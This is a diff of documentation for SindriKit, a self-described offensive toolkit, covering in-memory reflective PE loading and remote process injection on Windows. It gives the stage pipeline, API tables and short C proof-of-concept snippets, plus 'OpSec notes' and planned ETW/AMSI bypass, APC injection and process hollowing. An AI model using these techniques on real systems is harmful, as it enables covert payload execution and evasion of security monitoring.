+13
-11
@@ -1,17 +1,19 @@
|
|||||||
# Operational Domains
|
# Operational Domains
|
||||||
|
|
||||||
This directory categorizes the actionable offensive capabilities of SindriKit into specialized functional areas.
|
Actionable offensive capabilities grouped by function. Each domain is self-contained and interacts with others only through injected primitive interfaces — never through direct cross-domain imports.
|
||||||
|
|
||||||
> [!IMPORTANT]
|
> [!IMPORTANT]
|
||||||
> **Domain Independence**
|
> **Domain independence:** A loader must not call injection internals directly. Use documented chain APIs and shared primitive tables.
|
||||||
> Each domain must remain entirely self-contained. A loader cannot directly depend on an evasion module; they interact exclusively through the injected primitive interfaces.
|
|
||||||
|
|
||||||
## Table of Contents
|
## Table of Contents
|
||||||
- [primitives/](primitives/)
|
|
||||||
The foundational extraction, memory, and resolution techniques that all other domains rely on.
|
- [primitives/](primitives/) — DI backends: memory, modules, process, mapping, syscalls, execution
|
||||||
- [loaders/](loaders/)
|
- [loaders/](loaders/) — In-memory payload bootstrapping (reflective PE implemented)
|
||||||
Mechanisms for bootstrapping and executing code payloads entirely in memory (e.g., Reflective PE Loading).
|
- [injection/](injection/) — Remote process injection (classic shell + PE implemented)
|
||||||
- [evasion/](evasion/)
|
- [evasion/](evasion/) — Planned: ETW/AMSI bypass, sleep obfuscation (stub)
|
||||||
*Placeholder:* Future domain for heuristic evasion, memory scanning bypasses, and sleep obfuscation.
|
|
||||||
- [injection/](injection/)
|
## Related documentation
|
||||||
*Placeholder:* Future domain for remote process targeting, thread hijacking, and payload injection.
|
|
||||||
|
- [Architecture](../architecture/README.md)
|
||||||
|
- [Examples](../examples/README.md)
|
||||||
|
- [Getting started](../getting_started/README.md)
|
||||||
|
|||||||
@@ -1,6 +1,16 @@
|
|||||||
# Evasion Domain
|
# Evasion Domain
|
||||||
|
|
||||||
This directory is reserved for future capabilities focused on heuristic evasion, memory scanning bypasses, and sleep obfuscation.
|
Placeholder for future heuristic evasion, memory scanning bypasses, and sleep obfuscation.
|
||||||
|
|
||||||
|
> [!NOTE]
|
||||||
|
> **Not implemented.** No public headers under `include/sindri/` yet. Pages below describe planned capabilities only.
|
||||||
|
|
||||||
## Table of Contents
|
## Table of Contents
|
||||||
- *No documentation currently exists. Check back later.*
|
|
||||||
|
- [techniques.md](techniques.md) — planned capabilities (stub)
|
||||||
|
- [api_reference.md](api_reference.md) — reserved (stub)
|
||||||
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
- [Domains overview](../README.md)
|
||||||
|
- [Architecture: state machines](../../architecture/state_machines.md) — future evasion will follow the same context + stage pattern
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# Evasion API Reference
|
# Evasion: API Reference
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> The evasion domain is planned for a future release of SindriKit. This page will be populated when the evasion context and its associated primitives are implemented.
|
> The evasion domain is planned for a future release of SindriKit. This page will be populated when the evasion context and its associated primitives are implemented.
|
||||||
|
|||||||
@@ -1,6 +1,54 @@
|
|||||||
# Injection Domain
|
# Injection Domain
|
||||||
|
|
||||||
This directory is reserved for future capabilities focused on remote process targeting, thread hijacking, and inter-process payload injection.
|
Remote process injection: open target, allocate remote memory, write payload, set protections, create a remote thread. Cross-process operations route through an injected `snd_process_api_t` table.
|
||||||
|
|
||||||
|
## Shared context vs loader contexts
|
||||||
|
|
||||||
|
Unlike loaders, **all injection techniques share** `snd_inj_ctx_t` (`sindri/injection/context.h`). Stage machine, handles, remote fields, and `proc_api` are identical across classic and future techniques.
|
||||||
|
|
||||||
|
Each technique adds engine functions and chains under a subdirectory but mutates the same context:
|
||||||
|
|
||||||
|
```
|
||||||
|
include/sindri/injection/
|
||||||
|
├── context.h ← shared across ALL techniques
|
||||||
|
└── classic/
|
||||||
|
├── engine.h ← per-stage classic engine
|
||||||
|
└── chain.h ← snd_inj_classic_shell, snd_inj_classic_pe
|
||||||
|
```
|
||||||
|
|
||||||
|
Loader contexts are **per-technique** (`snd_ldr_pe_ctx_t` today).
|
||||||
|
|
||||||
|
## Header map
|
||||||
|
|
||||||
|
| Header | Role |
|
||||||
|
|---|---|
|
||||||
|
| `sindri/injection.h` | Umbrella include |
|
||||||
|
| `sindri/injection/context.h` | `snd_inj_ctx_t`, stages, `snd_inj_cleanup` |
|
||||||
|
| `sindri/injection/classic.h` | Classic technique umbrella |
|
||||||
|
| `sindri/injection/classic/engine.h` | Per-stage engine functions |
|
||||||
|
| `sindri/injection/classic/chain.h` | `snd_inj_classic_shell`, `snd_inj_classic_pe` |
|
||||||
|
|
||||||
|
## Implemented techniques
|
||||||
|
|
||||||
|
| Technique | Chain | Payload |
|
||||||
|
|---|---|---|
|
||||||
|
| Classic shellcode | `snd_inj_classic_shell` | Raw buffer in `inj_ctx.payload` |
|
||||||
|
| Classic PE | `snd_inj_classic_pe` | Local bake + remote execute (requires `snd_ldr_pe_ctx_t`) |
|
||||||
|
|
||||||
|
## PoCs
|
||||||
|
|
||||||
|
| PoC | Chain | Profile |
|
||||||
|
|---|---|---|
|
||||||
|
| `pocs/inject_shell/main.c` | `snd_inj_classic_shell` | KnownDlls bootstrap + `snd_proc_win` |
|
||||||
|
| `pocs/inject_pe/main.c` | `snd_inj_classic_pe` | `snd_mem_sys`, `snd_mod_nt`, `snd_proc_sys` |
|
||||||
|
|
||||||
## Table of Contents
|
## Table of Contents
|
||||||
- *No documentation currently exists. Check back later.*
|
|
||||||
|
- [techniques.md](techniques.md) — classic pipelines, stage machine, loader interop
|
||||||
|
- [api_reference.md](api_reference.md) — context, engine, and chain API
|
||||||
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
- [Loaders domain](../loaders/README.md) — local PE bake for classic PE path
|
||||||
|
- [Process primitives](../primitives/process/README.md)
|
||||||
|
- [Examples](../../examples/README.md)
|
||||||
|
|||||||
@@ -1,6 +1,165 @@
|
|||||||
# Injection API Reference
|
# Injection: API Reference
|
||||||
|
|
||||||
> [!NOTE]
|
Public injection API under `include/sindri/injection/`. Include `sindri/injection.h` or `sindri.h` for the full surface.
|
||||||
> The injection domain is planned for a future release of SindriKit. This page will be populated when the injection context (`snd_injector_ctx_t`) and its associated primitives are implemented.
|
|
||||||
|
|
||||||
See [techniques.md](techniques.md) for a high-level overview of planned capabilities.
|
---
|
||||||
|
|
||||||
|
## Shared Context (`sindri/injection/context.h`)
|
||||||
|
|
||||||
|
All injection techniques operate on `snd_inj_ctx_t`. Defined in `context.h`, not in technique-specific headers.
|
||||||
|
|
||||||
|
### `snd_inj_ctx_t`
|
||||||
|
|
||||||
|
| Field | Type | Description |
|
||||||
|
|---|---|---|
|
||||||
|
| `target_pid` | `DWORD` | PID of the target process |
|
||||||
|
| `target_process` | `HANDLE` | Handle opened via `proc_api->open_process` |
|
||||||
|
| `remote_base` | `PVOID` | Remote allocation base |
|
||||||
|
| `remote_entry_point` | `PVOID` | Optional. If set, thread starts here instead of `remote_base` (PE path) |
|
||||||
|
| `remote_size` | `SIZE_T` | Size of the remote allocation |
|
||||||
|
| `remote_thread` | `HANDLE` | Handle from `proc_api->create_remote_thread` |
|
||||||
|
| `stage` | `snd_inj_stage_t` | Current pipeline stage |
|
||||||
|
| `payload` | `const snd_buffer_t *` | Source buffer (shellcode or locally baked PE image) |
|
||||||
|
| `proc_api` | `const snd_process_api_t *` | Injected remote process API |
|
||||||
|
|
||||||
|
**Required before any chain:** `target_pid`, `proc_api`, and (for alloc/write) a valid `payload`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### `snd_inj_stage_t`
|
||||||
|
|
||||||
|
| Constant | Value | Description |
|
||||||
|
|---|---|---|
|
||||||
|
| `SND_INJ_STAGE_UNINITIALIZED` | 0 | Not started |
|
||||||
|
| `SND_INJ_STAGE_TARGET_ACQUIRED` | 1 | Process handle obtained |
|
||||||
|
| `SND_INJ_STAGE_MEMORY_ALLOCATED` | 2 | Remote memory allocated (RW) |
|
||||||
|
| `SND_INJ_STAGE_PAYLOAD_WRITTEN` | 3 | Payload written remotely |
|
||||||
|
| `SND_INJ_STAGE_PROTECTIONS_SET` | 4 | Remote memory set to RX |
|
||||||
|
| `SND_INJ_STAGE_EXECUTED` | 5 | Remote thread created |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### `snd_inj_stage_to_string`
|
||||||
|
|
||||||
|
Returns a human-readable stage name for logging and error context.
|
||||||
|
|
||||||
|
```c
|
||||||
|
const char *snd_inj_stage_to_string(snd_inj_stage_t stage);
|
||||||
|
```
|
||||||
|
|
||||||
|
**Source:** `src/injection/context.c`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### `snd_inj_cleanup`
|
||||||
|
|
||||||
|
Closes `remote_thread` and `target_process` through `proc_api->close_handle`, clears remote fields, resets stage to `UNINITIALIZED`.
|
||||||
|
|
||||||
|
```c
|
||||||
|
void snd_inj_cleanup(snd_inj_ctx_t *ctx);
|
||||||
|
```
|
||||||
|
|
||||||
|
Does not free loader-local mappings. No-op if `ctx` or `proc_api` is NULL.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Classic Engine (`sindri/injection/classic/engine.h`)
|
||||||
|
|
||||||
|
Per-stage functions with strict stage validation. Each advances `ctx->stage` on success.
|
||||||
|
|
||||||
|
| Function | Required stage | `proc_api` callback | Advances to |
|
||||||
|
|---|---|---|---|
|
||||||
|
| `snd_inj_classic_open_target` | `UNINITIALIZED` | `open_process` | `TARGET_ACQUIRED` |
|
||||||
|
| `snd_inj_classic_alloc_remote` | `TARGET_ACQUIRED` | `alloc_remote` | `MEMORY_ALLOCATED` |
|
||||||
|
| `snd_inj_classic_write_payload` | `MEMORY_ALLOCATED` | `write_remote` | `PAYLOAD_WRITTEN` |
|
||||||
|
| `snd_inj_classic_set_protections` | `PAYLOAD_WRITTEN` | `protect_remote` | `PROTECTIONS_SET` |
|
||||||
|
| `snd_inj_classic_execute` | `PROTECTIONS_SET` | `create_remote_thread` | `EXECUTED` |
|
||||||
|
|
||||||
|
### `snd_inj_classic_open_target`
|
||||||
|
|
||||||
|
Opens the target with `PROCESS_ALL_ACCESS` (`0x001FFFFF`). Requires non-zero `target_pid`.
|
||||||
|
|
||||||
|
**Returns:** `SND_OK`, `SND_STATUS_PROCESS_OPEN_FAILED`, `SND_STATUS_INVALID_STAGE_SEQUENCE`, `SND_STATUS_INVALID_PARAMETER`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### `snd_inj_classic_alloc_remote`
|
||||||
|
|
||||||
|
Allocates `payload->size` bytes remotely with `MEM_COMMIT | MEM_RESERVE` and `PAGE_READWRITE`. Sets `remote_size = payload->size`.
|
||||||
|
|
||||||
|
**Returns:** `SND_OK`, allocation errors from `proc_api`, `SND_STATUS_INVALID_STAGE_SEQUENCE`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### `snd_inj_classic_write_payload`
|
||||||
|
|
||||||
|
Writes `payload->data` (`remote_size` bytes) to `remote_base`.
|
||||||
|
|
||||||
|
**Returns:** `SND_OK`, `SND_STATUS_VIRTUAL_WRITE_FAILED`, `SND_STATUS_INVALID_STAGE_SEQUENCE`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### `snd_inj_classic_set_protections`
|
||||||
|
|
||||||
|
Transitions the full remote region to `PAGE_EXECUTE_READ`.
|
||||||
|
|
||||||
|
**Returns:** `SND_OK`, `SND_STATUS_VIRTUAL_PROTECT_FAILED`, `SND_STATUS_INVALID_STAGE_SEQUENCE`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### `snd_inj_classic_execute`
|
||||||
|
|
||||||
|
Creates a remote thread at `remote_base` with parameter `NULL`. Stores handle in `remote_thread`.
|
||||||
|
|
||||||
|
**Returns:** `SND_OK`, `SND_STATUS_THREAD_CREATE_FAILED`, `SND_STATUS_INVALID_STAGE_SEQUENCE`
|
||||||
|
|
||||||
|
**Source:** `src/injection/classic/engine.c`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Classic Chain (`sindri/injection/classic/chain.h`)
|
||||||
|
|
||||||
|
### `snd_inj_classic_shell`
|
||||||
|
|
||||||
|
Runs the full shellcode pipeline: open → alloc → write → protect → execute.
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_status_t snd_inj_classic_shell(snd_inj_ctx_t *ctx);
|
||||||
|
```
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `ctx` | Context with `target_pid`, `payload`, and `proc_api` set |
|
||||||
|
|
||||||
|
**Returns:** `SND_OK` or the failing stage's status
|
||||||
|
|
||||||
|
**Source:** `src/injection/classic/chain.c`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### `snd_inj_classic_pe`
|
||||||
|
|
||||||
|
Orchestrates local PE preparation via `snd_ldr_pe_ctx_t` and remote injection via `snd_inj_ctx_t`. See [techniques.md](techniques.md) for the interleaved step order.
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_status_t snd_inj_classic_pe(snd_ldr_pe_ctx_t *ldr_ctx, snd_inj_ctx_t *inj_ctx);
|
||||||
|
```
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `ldr_ctx` | Loader context with `raw_source`, `mem_api`, and `mod_api` set |
|
||||||
|
| `inj_ctx` | Injection context with `target_pid` and `proc_api` set |
|
||||||
|
|
||||||
|
On success, `inj_ctx` reaches `SND_INJ_STAGE_EXECUTED` with `remote_entry_point` pointing at the remote entry point and `remote_base` pointing at the allocation base.
|
||||||
|
|
||||||
|
**Returns:** `SND_OK` or the failing loader/injection stage status
|
||||||
|
|
||||||
|
**Source:** `src/injection/classic/chain.c`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Related Documentation
|
||||||
|
|
||||||
|
- [Loader API](../loaders/api_reference.md) — `snd_ldr_pe_ctx_t` used by `snd_inj_classic_pe`
|
||||||
|
- [Process primitives](../primitives/process/api_reference.md) — `snd_process_api_t` backends
|
||||||
|
- [State machines](../../architecture/state_machines.md) — global stage pattern
|
||||||
|
|||||||
@@ -1,17 +1,157 @@
|
|||||||
# Injection Techniques
|
# Injection Techniques
|
||||||
|
|
||||||
> [!NOTE]
|
Injection operations follow the same Dependency Injection and state machine patterns used throughout SindriKit. Every technique advances a shared `snd_inj_ctx_t` through discrete stages and delegates all cross-process work to `ctx->proc_api`.
|
||||||
> The injection domain is planned for a future release of SindriKit. This page will document process injection capabilities as they are implemented.
|
|
||||||
|
|
||||||
## Overview
|
**Prerequisite reading:** [Process primitives](../primitives/process/techniques.md), [Dependency Injection](../../architecture/dependency_injection.md)
|
||||||
|
|
||||||
The injection domain will expose process injection capabilities that follow the same State Machine and Dependency Injection patterns used throughout the toolkit. A `snd_injector_ctx_t` context will manage the progression of injection operations through discrete, trackable stages.
|
---
|
||||||
|
|
||||||
Planned capabilities include:
|
## Architecture: One Context, Many Techniques
|
||||||
|
|
||||||
- **Classic Remote Injection** — Standard `VirtualAllocEx` / `WriteProcessMemory` / `CreateRemoteThread` injection, exposed through the injected `mem_api` so the allocation step can be transparently replaced with a direct `NtAllocateVirtualMemory` syscall.
|
```mermaid
|
||||||
- **Process Hollowing** — Unmapping a legitimate process's image and replacing it with a payload image, applying relocations and resolving imports in the remote process context.
|
flowchart TB
|
||||||
- **Thread Hijacking** — Suspending a target thread, overwriting its context to redirect execution to a shellcode or reflectively-loaded payload, then resuming.
|
subgraph shared ["Shared (all techniques)"]
|
||||||
- **APC Queue Injection** — Queuing an Asynchronous Procedure Call to an alertable thread in the target process using `NtQueueApcThread`.
|
CTX["snd_inj_ctx_t"]
|
||||||
|
PROC["proc_api → snd_process_api_t"]
|
||||||
|
end
|
||||||
|
|
||||||
Each technique will rely on the existing PE parser and reflective loading pipeline from the loaders domain, reusing all established primitives rather than re-implementing them.
|
subgraph classic ["Classic technique (implemented)"]
|
||||||
|
ENG["snd_inj_classic_* engine"]
|
||||||
|
SH["snd_inj_classic_shell"]
|
||||||
|
PE["snd_inj_classic_pe"]
|
||||||
|
end
|
||||||
|
|
||||||
|
subgraph future ["Future techniques"]
|
||||||
|
APC["APC queue …"]
|
||||||
|
HIJ["Thread hijack …"]
|
||||||
|
end
|
||||||
|
|
||||||
|
CTX --> ENG
|
||||||
|
ENG --> SH
|
||||||
|
ENG --> PE
|
||||||
|
CTX -.-> APC
|
||||||
|
CTX -.-> HIJ
|
||||||
|
PROC --> ENG
|
||||||
|
```
|
||||||
|
|
||||||
|
Future techniques will add their own engine headers (e.g. `injection/apc/engine.h`) but continue to mutate the same `snd_inj_ctx_t`. Technique-specific metadata, if ever needed, lives in technique-local structures passed alongside the shared context — not in a forked injection context type.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Shared Stage Machine (`snd_inj_stage_t`)
|
||||||
|
|
||||||
|
| Stage | Set by | Meaning |
|
||||||
|
|---|---|---|
|
||||||
|
| `SND_INJ_STAGE_UNINITIALIZED` | — | Context created, not started |
|
||||||
|
| `SND_INJ_STAGE_TARGET_ACQUIRED` | `snd_inj_classic_open_target` | Handle to target process |
|
||||||
|
| `SND_INJ_STAGE_MEMORY_ALLOCATED` | `snd_inj_classic_alloc_remote` | RW region reserved in remote process |
|
||||||
|
| `SND_INJ_STAGE_PAYLOAD_WRITTEN` | `snd_inj_classic_write_payload` | Payload bytes copied remotely |
|
||||||
|
| `SND_INJ_STAGE_PROTECTIONS_SET` | `snd_inj_classic_set_protections` | Remote region transitioned to RX |
|
||||||
|
| `SND_INJ_STAGE_EXECUTED` | `snd_inj_classic_execute` | Remote thread created |
|
||||||
|
|
||||||
|
Each engine function validates the current stage and returns `SND_STATUS_INVALID_STAGE_SEQUENCE` on mismatch. This ordering is enforced for all classic paths and will be reused by future techniques that build on the same remote write/execute primitives.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Classic Technique: Shellcode (`snd_inj_classic_shell`)
|
||||||
|
|
||||||
|
The baseline **Alloc → Write → Protect → Execute** pattern. The payload buffer is treated as opaque shellcode — the thread starts at `remote_base` (allocation base), not at an PE entry point.
|
||||||
|
|
||||||
|
### Pipeline
|
||||||
|
|
||||||
|
1. **Open target** — `proc_api->open_process(target_pid, PROCESS_ALL_ACCESS, …)`
|
||||||
|
2. **Allocate remote** — `payload->size` bytes, `MEM_COMMIT | MEM_RESERVE`, `PAGE_READWRITE`
|
||||||
|
3. **Write payload** — `proc_api->write_remote` copies the full shellcode buffer
|
||||||
|
4. **Protect** — single `proc_api->protect_remote` call: `PAGE_READWRITE` → `PAGE_EXECUTE_READ` over the entire allocation
|
||||||
|
5. **Execute** — `proc_api->create_remote_thread` at `remote_entry_point` (or `remote_base` if NULL), parameter `NULL`
|
||||||
|
|
||||||
|
### OpSec notes
|
||||||
|
|
||||||
|
- Avoids allocating `PAGE_EXECUTE_READWRITE` directly (RW then RX is a common evasion pattern).
|
||||||
|
- The shellcode path does not parse PE structures or touch the loader domain.
|
||||||
|
- Backend choice (`snd_proc_win` / `_nt` / `_sys`) determines telemetry surface — see [process primitives](../primitives/process/techniques.md).
|
||||||
|
|
||||||
|
### Example (`pocs/inject_shell/main.c`)
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_inj_ctx_t inj_ctx = {0};
|
||||||
|
inj_ctx.target_pid = target_pid;
|
||||||
|
inj_ctx.payload = &shellcode_buf;
|
||||||
|
inj_ctx.proc_api = &snd_proc_win; // or snd_proc_sys after syscall bootstrap
|
||||||
|
|
||||||
|
snd_status_t status = snd_inj_classic_shell(&inj_ctx);
|
||||||
|
snd_inj_cleanup(&inj_ctx);
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Classic Technique: PE (`snd_inj_classic_pe`)
|
||||||
|
|
||||||
|
High-level orchestrator linking a **reflective loader context** (`snd_ldr_pe_ctx_t`) with the **shared injection context** (`snd_inj_ctx_t`). The PE is parsed, mapped, relocated, and import-fixed **locally**, then the fixed image bytes are written into the remote process. Execution starts at the remote entry point (`remote_base + AddressOfEntryPoint`).
|
||||||
|
|
||||||
|
This is not a full in-remote reflective load — fixups happen in local memory using the loader engine, then the baked image is marshaled cross-process.
|
||||||
|
|
||||||
|
### Interleaved pipeline
|
||||||
|
|
||||||
|
The PE chain deliberately interleaves loader and injection stages so relocations use the **remote base** as the execution address:
|
||||||
|
|
||||||
|
| Step | Component | Action |
|
||||||
|
|---|---|---|
|
||||||
|
| 1 | Loader | `snd_pe_parse(ldr_ctx->raw_source, FALSE, &ldr_ctx->pe)` → `SND_STAGE_PARSED` |
|
||||||
|
| 2 | Loader | `snd_ldr_pe_compatibility_check` |
|
||||||
|
| 3 | Loader | `snd_ldr_pe_allocate_and_copy_image` — local RW mapping |
|
||||||
|
| 4 | Injection | `inj_ctx->payload` ← local mapped buffer (`local_base`, `allocated_size`) |
|
||||||
|
| 5 | Injection | `snd_inj_classic_open_target` |
|
||||||
|
| 6 | Injection | `snd_inj_classic_alloc_remote` — remote RW region sized to `allocated_size` |
|
||||||
|
| 7 | Loader | `ldr_ctx->target.execution_base = inj_ctx->remote_base` |
|
||||||
|
| 8 | Loader | `snd_ldr_pe_apply_relocations` — delta = remote_base − ImageBase |
|
||||||
|
| 9 | Loader | `snd_ldr_pe_resolve_imports` — IAT patched locally |
|
||||||
|
| 10 | Injection | `snd_inj_classic_write_payload` — writes baked image to remote |
|
||||||
|
| 11 | Injection | `snd_inj_classic_set_protections` — flat `PAGE_EXECUTE_READ` on remote region |
|
||||||
|
| 12 | Injection | `remote_entry_point = remote_base + ep_rva`; `snd_inj_classic_execute` |
|
||||||
|
|
||||||
|
**Key behaviors:**
|
||||||
|
|
||||||
|
- **`execution_base`** on the loader context is set to the remote allocation address *before* relocations so the delta matches where the image will run.
|
||||||
|
- **Per-section protections** (`snd_ldr_pe_apply_memory_protections`) are **not** called — the injection path applies a single RX protection over the entire remote allocation.
|
||||||
|
- **TLS callbacks** are **not** invoked in the current PE injection chain.
|
||||||
|
- **Local execution** (`snd_ldr_pe_execute_image`) is blocked when `local_base != execution_base`; detach/free similarly refuse remote-prepared images.
|
||||||
|
|
||||||
|
For DLL payloads, the remote thread starts at `AddressOfEntryPoint` (the DLL entry symbol, typically `DllMain`) with **`NULL` thread parameter** — not a typed `DllMain(hinst, DLL_PROCESS_ATTACH, NULL)` call. Do not assume `DLL_PROCESS_ATTACH` semantics; this differs from local `snd_ldr_pe_execute_image` in `chain.c`.
|
||||||
|
|
||||||
|
### Example (`pocs/inject_pe/main.c`)
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_ldr_pe_ctx_t ldr_ctx = {0};
|
||||||
|
snd_inj_ctx_t inj_ctx = {0};
|
||||||
|
|
||||||
|
ldr_ctx.mem_api = &snd_mem_sys;
|
||||||
|
ldr_ctx.mod_api = &snd_mod_nt;
|
||||||
|
ldr_ctx.raw_source = &file_buf;
|
||||||
|
|
||||||
|
inj_ctx.target_pid = target_pid;
|
||||||
|
inj_ctx.proc_api = &snd_proc_sys;
|
||||||
|
|
||||||
|
snd_status_t status = snd_inj_classic_pe(&ldr_ctx, &inj_ctx);
|
||||||
|
snd_inj_cleanup(&inj_ctx);
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Cleanup
|
||||||
|
|
||||||
|
`snd_inj_cleanup` closes `remote_thread` and `target_process` via `proc_api->close_handle`, clears remote fields, and resets stage to `UNINITIALIZED`. It does not free the local loader mapping — callers manage `snd_ldr_pe_free_mapped_image` separately if a local `snd_ldr_pe_ctx_t` was used.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Planned Techniques
|
||||||
|
|
||||||
|
Future injection techniques will reuse `snd_inj_ctx_t` and `proc_api`:
|
||||||
|
|
||||||
|
| Technique | Description |
|
||||||
|
|---|---|
|
||||||
|
| **APC queue** | Queue user APC to an alertable thread via `NtQueueApcThread` |
|
||||||
|
| **Thread hijack** | Suspend thread, rewrite context, resume |
|
||||||
|
| **Process hollowing** | Replace remote image in situ (loader + injection coordination) |
|
||||||
|
|
||||||
|
Each will add technique-specific engine headers under `include/sindri/injection/<technique>/` without forking the shared context type.
|
||||||
|
|||||||
@@ -1,9 +1,69 @@
|
|||||||
# Loaders Domain
|
# Loaders Domain
|
||||||
|
|
||||||
This directory contains implementations for bootstrapping code into memory.
|
The loaders domain maps and executes code payloads in memory. Each loader **technique** defines its own context type and stage machine; techniques are organized under subdirectories in `include/sindri/loaders/`.
|
||||||
|
|
||||||
|
Today only **Reflective PE Loading** is implemented (`loaders/reflective/`). Additional techniques (e.g. module stomping, transacted hollowing) will add parallel subdirectories with their own context structures — unlike injection, loader contexts are **not** shared across techniques.
|
||||||
|
|
||||||
|
## Reflective vs. Injection
|
||||||
|
|
||||||
|
| Aspect | Loaders | Injection |
|
||||||
|
|---|---|---|
|
||||||
|
| Context type | Per-technique (`snd_ldr_pe_ctx_t` today) | Shared (`snd_inj_ctx_t`) |
|
||||||
|
| Execution target | Local process (by default) | Remote process |
|
||||||
|
| Primary API table | `mem_api`, `mod_api` | `proc_api` |
|
||||||
|
| PE fixups | Full local pipeline | Local bake + remote write (`snd_inj_classic_pe`) |
|
||||||
|
|
||||||
|
The Classic PE injection chain (`snd_inj_classic_pe`) **reuses** the reflective loader engine for local parse/reloc/import steps, then hands off to the injection domain for remote allocation and thread creation.
|
||||||
|
|
||||||
|
## Header Map
|
||||||
|
|
||||||
|
| Header | Role |
|
||||||
|
|---|---|
|
||||||
|
| `sindri/loaders.h` | Umbrella include (reflective today) |
|
||||||
|
| `sindri/loaders/reflective.h` | Reflective technique umbrella |
|
||||||
|
| `sindri/loaders/reflective/engine.h` | `snd_ldr_pe_ctx_t`, per-stage engine |
|
||||||
|
| `sindri/loaders/reflective/chain.h` | `snd_ldr_pe_prepare_image`, execute, detach |
|
||||||
|
|
||||||
|
## KnownDlls Bootstrapping
|
||||||
|
|
||||||
|
KnownDlls mapping is **not** part of the loaders domain. It lives in the mapping/object-manager primitives:
|
||||||
|
|
||||||
|
- `snd_om_knowndll_map()` — `sindri/primitives/object_manager.h`
|
||||||
|
- Mapping backends — `snd_map_nt`, `snd_map_sys` — [mapping primitives](../primitives/mapping/techniques.md)
|
||||||
|
|
||||||
|
Loaders and injection PoCs use KnownDlls to bootstrap clean `ntdll` for syscall resolution before selecting `_sys` backends.
|
||||||
|
|
||||||
|
## PoCs
|
||||||
|
|
||||||
|
| PoC | Entry points | Profile |
|
||||||
|
|---|---|---|
|
||||||
|
| `pocs/loader_winapi/main.c` | `snd_ldr_pe_prepare_image`, `snd_ldr_pe_execute_image` | `snd_mem_win`, `snd_mod_win` |
|
||||||
|
| `pocs/loader_nowinapi/main.c` | same | `snd_mem_nt`, `snd_mod_nt` + syscall bootstrap |
|
||||||
|
| `pocs/loader_noCRT_nowinapi/main.c` | same | No CRT; `snd_mem_win`, `snd_mod_nt`, PEB `ntdll` bootstrap |
|
||||||
|
|
||||||
|
## Source map (reflective)
|
||||||
|
|
||||||
|
| Source | Implements |
|
||||||
|
|---|---|
|
||||||
|
| `src/loaders/reflective/chain.c` | `snd_ldr_pe_prepare_image`, `execute_image`, `detach_image` |
|
||||||
|
| `src/loaders/reflective/engine.c` | Per-stage engine, section copy, page protection runs |
|
||||||
|
|
||||||
## Table of Contents
|
## Table of Contents
|
||||||
- [techniques.md](techniques.md)
|
|
||||||
Provides a stage-by-stage breakdown of the Reflective PE Loading pipeline and the KnownDlls mapping strategy.
|
- [techniques.md](techniques.md) — Reflective PE pipeline, stage machine, protection model
|
||||||
- [api_reference.md](api_reference.md)
|
- [api_reference.md](api_reference.md) — full reflective loader API
|
||||||
Public API documentation for the reflective loader engine, execution chain wrapper functions, and the KnownDlls loader configurations.
|
|
||||||
|
## Planned techniques
|
||||||
|
|
||||||
|
```
|
||||||
|
include/sindri/loaders/
|
||||||
|
├── reflective/ ← implemented (snd_ldr_pe_ctx_t)
|
||||||
|
└── <technique>/ ← future, technique-specific context + engine + chain
|
||||||
|
```
|
||||||
|
|
||||||
|
Each technique owns its context struct, stage enum, engine functions, and chain orchestrator.
|
||||||
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
- [Injection domain](../injection/README.md) — `snd_inj_classic_pe` reuses loader engine
|
||||||
|
- [Examples](../../examples/README.md)
|
||||||
|
|||||||
@@ -1,264 +1,198 @@
|
|||||||
# Loaders: API Reference
|
# Loaders: API Reference
|
||||||
|
|
||||||
This page documents the full public API surface of the loaders domain. Headers live under `include/sindri/loaders/`.
|
Public loader API for the **Reflective PE** technique under `include/sindri/loaders/reflective/`. Include `sindri/loaders.h` or `sindri/loaders/reflective.h`.
|
||||||
|
|
||||||
|
KnownDlls mapping is documented under [mapping/object-manager](../primitives/mapping/api_reference.md) — not part of this API surface.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Reflective Loader Chain (`sindri/loaders/reflective/chain.h`)
|
## Reflective Chain (`sindri/loaders/reflective/chain.h`)
|
||||||
|
|
||||||
The chain functions are the primary entry points for reflective loading. They wrap the individual engine functions into a sequential pipeline, advancing the loader context's state machine automatically.
|
Primary entry points for end-to-end reflective loading.
|
||||||
|
|
||||||
### `snd_prepare_reflective_image`
|
### `snd_ldr_pe_prepare_image`
|
||||||
|
|
||||||
Executes the full allocation and fixup chain in one call:
|
Runs the full local preparation pipeline:
|
||||||
1. Architecture compatibility check
|
|
||||||
2. Allocate virtual memory and copy PE sections
|
|
||||||
3. Apply base relocations
|
|
||||||
4. Resolve imports and patch the IAT
|
|
||||||
5. Apply per-section memory protections
|
|
||||||
6. Execute TLS callbacks
|
|
||||||
|
|
||||||
